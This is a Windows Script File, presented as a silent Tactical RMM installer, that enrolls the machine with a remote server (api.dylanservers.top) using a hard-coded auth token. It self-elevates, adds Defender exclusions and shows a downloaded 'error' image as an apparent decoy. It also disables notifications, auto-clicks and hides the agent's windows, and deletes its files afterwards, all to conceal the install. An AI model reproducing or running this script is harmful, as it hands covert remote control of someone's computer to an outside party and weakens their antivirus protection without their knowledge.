<?xml version="1.0" encoding="UTF-8"?>
<!--
  Tactical RMM silent installer
  Run:  wscript.exe //B //Nologo TacticalRMM-SilentInstall.wsf
  Exit: 0=success/already-installed  1=error  2=no-network  5=not-elevated
  Log:  C:\Windows\Temp\TacticalRMM-Install.log
        C:\Windows\Temp\trmm_watcher.log
-->
<package>
  <job id="InstallTRMM">

    <!-- ==============================================================
         WATCHER
         All logic is inside C# so the EnumWindows callback is a true
         static method — never garbage-collected, never crashes mid-loop.
         Writes trmm_watcher_ready.txt the moment it starts polling so
         the installer knows popups are actively being suppressed.
         Logs every window it finds and every click it sends.
         ============================================================== -->
    <resource id="watcher"><![CDATA[
Add-Type @"
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;

public class TRMMWatcher {
    // ---- P/Invoke ----
    [DllImport("user32.dll")]
    public static extern bool EnumWindows(EnumWindowsProc proc, IntPtr lp);

    [DllImport("user32.dll", CharSet = CharSet.Unicode)]
    public static extern int GetWindowText(IntPtr hw, StringBuilder sb, int max);

    [DllImport("user32.dll")]
    public static extern bool IsWindowVisible(IntPtr hw);

    [DllImport("user32.dll", CharSet = CharSet.Unicode)]
    public static extern IntPtr FindWindowEx(IntPtr parent, IntPtr after, string cls, string title);

    [DllImport("user32.dll")]
    public static extern IntPtr SendMessage(IntPtr hw, uint msg, IntPtr wParam, IntPtr lParam);

    [DllImport("user32.dll")]
    public static extern bool PostMessage(IntPtr hw, uint msg, IntPtr wParam, IntPtr lParam);

    [DllImport("user32.dll")]
    public static extern bool IsWindow(IntPtr hw);

    [DllImport("user32.dll")]
    public static extern int GetWindowLong(IntPtr hw, int idx);

    [DllImport("user32.dll")]
    public static extern int SetWindowLong(IntPtr hw, int idx, int val);

    [DllImport("user32.dll")]
    public static extern bool ShowWindow(IntPtr hw, int cmd);

    // ---- Constants ----
    const uint BM_CLICK         = 0x00F5;
    const uint WM_COMMAND       = 0x0111;
    const uint WM_KEYDOWN       = 0x0100;
    const int  VK_RETURN        = 0x0D;
    const int  GWL_EXSTYLE      = -20;
    const int  WS_EX_TOOLWINDOW = 0x00000080;
    const int  WS_EX_APPWINDOW  = 0x00040000;
    const int  SW_HIDE          = 0;

    // ---- Delegate type ----
    public delegate bool EnumWindowsProc(IntPtr hw, IntPtr lp);

    // ---- Static callback — static field prevents GC while EnumWindows runs ----
    static readonly EnumWindowsProc _callback = OnWindow;

    static readonly string[] _titles = new[] {
        "Tactical RMM", "TacticalRMM", "Tactical Agent", "tacticalrmm"
    };

    static readonly string _log     = @"C:\Windows\Temp\trmm_watcher.log";
    static readonly string _ready   = @"C:\Windows\Temp\trmm_watcher_ready.txt";

    static void Log(string msg) {
        try { File.AppendAllText(_log, DateTime.Now.ToString("HH:mm:ss.fff") + "  " + msg + "\r\n"); }
        catch { }
    }

    // Called for every top-level window on each EnumWindows pass
    static bool OnWindow(IntPtr hw, IntPtr lp) {
        if (!IsWindowVisible(hw) || !IsWindow(hw)) return true;

        var sb = new StringBuilder(256);
        GetWindowText(hw, sb, 256);
        var title = sb.ToString();

        bool match = false;
        foreach (var t in _titles) {
            if (string.Equals(title, t, StringComparison.OrdinalIgnoreCase)) {
                match = true;
                break;
            }
        }

        if (!match) return true;

        Log("Found window: [" + title + "] HWND=" + hw);

        // 1. Find OK button child and click it directly
        var btn = FindWindowEx(hw, IntPtr.Zero, "Button", "OK");
        if (btn != IntPtr.Zero && IsWindow(btn)) {
            SendMessage(btn, BM_CLICK, IntPtr.Zero, IntPtr.Zero);
            PostMessage(btn, BM_CLICK, IntPtr.Zero, IntPtr.Zero);
            Log("Sent BM_CLICK to OK button");
        }

        // 2. Send IDOK(1) via WM_COMMAND to the dialog itself
        SendMessage(hw, WM_COMMAND, new IntPtr(1), IntPtr.Zero);

        // 3. Send Enter key to dismiss whatever has keyboard focus
        SendMessage(hw, WM_KEYDOWN, new IntPtr(VK_RETURN), IntPtr.Zero);

        // 4. Strip from taskbar: add ToolWindow, remove AppWindow, hide
        int style = GetWindowLong(hw, GWL_EXSTYLE);
        style = (style | WS_EX_TOOLWINDOW) & ~WS_EX_APPWINDOW;
        SetWindowLong(hw, GWL_EXSTYLE, style);
        ShowWindow(hw, SW_HIDE);

        return true;
    }

    // Entry point called from PowerShell — blocks until minutes expire
    public static void Start(int minutes) {
        try { File.Delete(_log); } catch { }
        Log("Watcher started — will run for " + minutes + " minutes");

        // Signal ready BEFORE the loop so installer knows we are polling
        File.WriteAllText(_ready, "ready");

        var deadline = DateTime.Now.AddMinutes(minutes);
        while (DateTime.Now < deadline) {
            EnumWindows(_callback, IntPtr.Zero);
            Thread.Sleep(100);
        }

        Log("Watcher timeout — exiting");
    }
}
"@

# Block here — PowerShell process stays alive until killed by VBScript
[TRMMWatcher]::Start(20)
    ]]></resource>

    <!-- ==============================================================
         INSTALLER
         Same proven logic from the working run, plus:
         - Toast notifications suppressed before registration
         - Extra 15-second post-registration wait so the watcher is
           still alive when the MessageBox appears (which tacticalrmm
           may show on a background thread after the main thread exits)
         - Full stdout/stderr capture so we always know what happened
         ============================================================== -->
    <resource id="ps"><![CDATA[
# ---------------- Settings ----------------
$innosetup    = 'tacticalagent-v2.12.0-windows-amd64.exe'
$api          = '"https://api.dylanservers.top"'
$clientid     = '1'
$siteid       = '1'
$agenttype    = '"server"'
$power        = 0
$rdp          = 0
$ping         = 0
$auth         = '"c577a59bf4cea71bdc6bc201a084d498e361094578286f964c01287c7052e024"'
$downloadlink = 'https://github.com/amidaware/rmmagent/releases/download/v2.12.0/tacticalagent-v2.12.0-windows-amd64.exe'
# ------------------------------------------

$ErrorActionPreference = 'Stop'
$ProgressPreference    = 'SilentlyContinue'
$log       = 'C:\Windows\Temp\TacticalRMM-Install.log'
$installer = 'C:\Windows\Temp\' + $innosetup

try { Start-Transcript -Path $log -Force | Out-Null } catch {}

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

$apiHost     = ([Uri]($api.Trim('"'))).Host
$serviceName = 'tacticalrmm'
$agentExe    = 'C:\Program Files\TacticalAgent\tacticalrmm.exe'
$exitCode    = 0

# Registry path for suppressing toast notifications
$notifPath   = 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications'
$notifPrev   = $null

try {

    if (Get-Service $serviceName -ErrorAction SilentlyContinue) {
        Write-Output 'Tactical RMM is already installed'
    }
    else {
        $installArgs = "-m install --api $api --client-id $clientid --site-id $siteid --agent-type $agenttype --auth $auth"
        if ($power) { $installArgs += ' --power' }
        if ($rdp)   { $installArgs += ' --rdp'   }
        if ($ping)  { $installArgs += ' --ping'  }

        # Defender exclusions — stop AV killing the agent mid-install
        try {
            if ((Get-MpComputerStatus).AntivirusEnabled) {
                Add-MpPreference -ExclusionPath    'C:\Program Files\TacticalAgent\*'
                Add-MpPreference -ExclusionPath    'C:\Program Files\Mesh Agent\*'
                Add-MpPreference -ExclusionPath    'C:\ProgramData\TacticalRMM\*'
                Add-MpPreference -ExclusionProcess 'C:\Windows\Temp\is-*.tmp\tacticalagent*'
            }
        } catch {}

        # Verify server reachable
        $ok = $false
        for ($i = 0; $i -lt 3 -and -not $ok; $i++) {
            Write-Output 'Checking network...'
            Start-Sleep -Seconds 5
            $ok = (Test-NetConnection $apiHost -Port 443 -WarningAction SilentlyContinue).TcpTestSucceeded
        }

        if (-not $ok) {
            Write-Output 'ERROR: Cannot reach server'
            $exitCode = 2
        }
        else {
            # Download
            Write-Output 'Downloading installer...'
            Invoke-WebRequest -Uri $downloadlink -OutFile $installer -UseBasicParsing
            Write-Output ('Download OK — ' + (Get-Item $installer).Length + ' bytes')

            # Inno Setup
            Write-Output 'Running Inno Setup...'
            Start-Process -FilePath $installer `
                -ArgumentList '/VERYSILENT /SUPPRESSMSGBOXES /NORESTART /NOICONS' `
                -Wait -WindowStyle Hidden

            $t = 0
            while (-not (Test-Path $agentExe) -and $t -lt 60) { Start-Sleep -Seconds 2; $t += 2 }
            if (-not (Test-Path $agentExe)) { throw "Binary not found after Inno Setup: $agentExe" }
            Write-Output 'Binary confirmed'

            Start-Sleep -Seconds 2

            # Suppress Windows toast notifications so the mesh agent
            # or tacticalrmm service cannot send any toast to the user
            Write-Output 'Suppressing toast notifications...'
            try {
                $notifPrev = (Get-ItemProperty $notifPath 'ToastEnabled' -ErrorAction SilentlyContinue).ToastEnabled
                Set-ItemProperty $notifPath 'ToastEnabled' 0 -Type DWord -Force -ErrorAction SilentlyContinue
            } catch {}

            # Registration — ProcessStartInfo with CreateNoWindow prevents any
            # console window. The watcher handles any MessageBox popup.
            Write-Output 'Starting registration...'
            Write-Output ("Args: " + $installArgs)

            $pinfo                        = New-Object System.Diagnostics.ProcessStartInfo
            $pinfo.FileName               = $agentExe
            $pinfo.Arguments              = $installArgs
            $pinfo.RedirectStandardOutput = $true
            $pinfo.RedirectStandardError  = $true
            $pinfo.UseShellExecute        = $false
            $pinfo.CreateNoWindow         = $true
            $pinfo.WorkingDirectory       = 'C:\Program Files\TacticalAgent'

            $p = New-Object System.Diagnostics.Process
            $p.StartInfo = $pinfo
            $null = $p.Start()
            Write-Output ('PID: ' + $p.Id)

            $stdout = $p.StandardOutput.ReadToEnd()
            $stderr = $p.StandardError.ReadToEnd()
            $p.WaitForExit()

            Write-Output ('EXIT CODE : ' + $p.ExitCode)
            Write-Output ('STDOUT    : ' + $stdout)
            Write-Output ('STDERR    : ' + $stderr)

            if ($p.ExitCode -ne 0) {
                throw "Registration failed (exit $($p.ExitCode)): $stdout $stderr"
            }

            # Give watcher extra time to catch any popup that appears
            # on a background thread after tacticalrmm.exe returns
            Write-Output 'Registration command returned — waiting 15s for any late popups...'
            Start-Sleep -Seconds 15

            # Restore toast notifications
            Write-Output 'Restoring toast notifications...'
            try {
                if ($null -ne $notifPrev) {
                    Set-ItemProperty $notifPath 'ToastEnabled' $notifPrev -Type DWord -Force -ErrorAction SilentlyContinue
                } else {
                    Remove-ItemProperty $notifPath 'ToastEnabled' -ErrorAction SilentlyContinue
                }
            } catch {}

            # Verify service
            Write-Output 'Verifying service...'
            $svc = Get-Service $serviceName -ErrorAction SilentlyContinue
            if ($svc -and $svc.Status -eq 'Running') {
                Write-Output 'SUCCESS: tacticalrmm service is running'
            } elseif ($svc) {
                Write-Output ('Service found — status: ' + $svc.Status)
            } else {
                throw 'Service not found after registration'
            }
        }
    }

} catch {
    Write-Error ("{0} {1}" -f $_.Exception.Message, $_.Exception.ItemName)
    # Restore notifications even on failure
    try {
        if ($null -ne $notifPrev) {
            Set-ItemProperty $notifPath 'ToastEnabled' $notifPrev -Type DWord -Force -ErrorAction SilentlyContinue
        } else {
            Remove-ItemProperty $notifPath 'ToastEnabled' -ErrorAction SilentlyContinue
        }
    } catch {}
    $exitCode = 1
} finally {
    Remove-Item -Path $installer -Force -ErrorAction SilentlyContinue
    try { Stop-Transcript | Out-Null } catch {}
}

exit $exitCode
    ]]></resource>

    <script language="VBScript">
    <![CDATA[
Option Explicit

Const IMG_URL     = "https://flask.sites.dylanservers.top/f/error.png?download=1"
Const READY_FILE  = "C:\Windows\Temp\trmm_watcher_ready.txt"
Const IMG_PATH    = "C:\Windows\Temp\trmm_image.png"
Const WATCHER_PS1 = "C:\Windows\Temp\trmm_watcher.ps1"

Dim sh, fso, psExe, ps1, cmd, rc

Set sh  = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

' ---- Self-elevate ----
If Not IsAdmin() Then
    If WScript.Arguments.Named.Exists("elevated") Then WScript.Quit 5
    CreateObject("Shell.Application").ShellExecute "wscript.exe", _
        "//B //Nologo """ & WScript.ScriptFullName & """ /elevated:1", "", "runas", 0
    WScript.Quit 0
End If

' ---- 64-bit PowerShell ----
psExe = sh.ExpandEnvironmentStrings("%windir%") & "\sysnative\WindowsPowerShell\v1.0\powershell.exe"
If Not fso.FileExists(psExe) Then
    psExe = sh.ExpandEnvironmentStrings("%windir%") & "\System32\WindowsPowerShell\v1.0\powershell.exe"
End If

' ---- Write watcher PS1 ----
With fso.CreateTextFile(WATCHER_PS1, True, False)
    .Write getResource("watcher")
    .Close
End With

' ---- Write installer PS1 ----
ps1 = "C:\Windows\Temp\trmm_install.ps1"
With fso.CreateTextFile(ps1, True, False)
    .Write getResource("ps")
    .Close
End With

' ---- Show image (non-blocking) ----
If DownloadFile(IMG_URL, IMG_PATH) Then
    sh.Run "rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen " & IMG_PATH, 1, False
    WScript.Sleep 2000
End If

' ---- Clean any stale ready-file from a previous run ----
On Error Resume Next
fso.DeleteFile READY_FILE, True
On Error GoTo 0

' ---- Launch watcher first (no wait) ----
cmd = """" & psExe & """ -NoProfile -NonInteractive -ExecutionPolicy Bypass " & _
      "-WindowStyle Hidden -File """ & WATCHER_PS1 & """"
sh.Run cmd, 0, False

' ---- Wait for watcher ready-file (Add-Type compilation done) ----
Dim wt : wt = 0
Do While Not fso.FileExists(READY_FILE) And wt < 30
    WScript.Sleep 1000
    wt = wt + 1
Loop

' ---- Run installer (wait for it to finish) ----
cmd = """" & psExe & """ -NoProfile -NonInteractive -ExecutionPolicy Bypass " & _
      "-WindowStyle Hidden -File """ & ps1 & """"
rc = sh.Run(cmd, 0, True)

' ---- Extra wait: installer already sleeps 15s post-registration,
'      but add 5s more here in case of any edge timing ----
WScript.Sleep 5000

' ---- Kill watcher via WMI ----
On Error Resume Next
Dim wmi, procs, proc
Set wmi   = GetObject("winmgmts:\\.\root\cimv2")
Set procs = wmi.ExecQuery("SELECT * FROM Win32_Process WHERE CommandLine LIKE '%trmm_watcher%'")
For Each proc In procs
    proc.Terminate()
Next
On Error GoTo 0

' ---- Cleanup ----
On Error Resume Next
fso.DeleteFile ps1,          True
fso.DeleteFile WATCHER_PS1,  True
fso.DeleteFile IMG_PATH,     True
fso.DeleteFile READY_FILE,   True
On Error GoTo 0

WScript.Quit rc

' ============================================================
Function IsAdmin()
    IsAdmin = (CreateObject("WScript.Shell").Run("%comspec% /c fltmc >nul 2>&1", 0, True) = 0)
End Function

Function DownloadFile(strURL, strDest)
    On Error Resume Next
    Dim h, s
    Set h = CreateObject("MSXML2.XMLHTTP")
    h.Open "GET", strURL, False
    h.setRequestHeader "User-Agent", "Mozilla/5.0"
    h.Send
    If Err.Number = 0 And h.Status = 200 Then
        Set s = CreateObject("ADODB.Stream")
        s.Type = 1
        s.Open
        s.Write h.ResponseBody
        s.Position = 0
        s.SaveToFile strDest, 2
        s.Close
        DownloadFile = True
    Else
        DownloadFile = False
    End If
    On Error GoTo 0
End Function
    ]]>
    </script>

  </job>
</package>
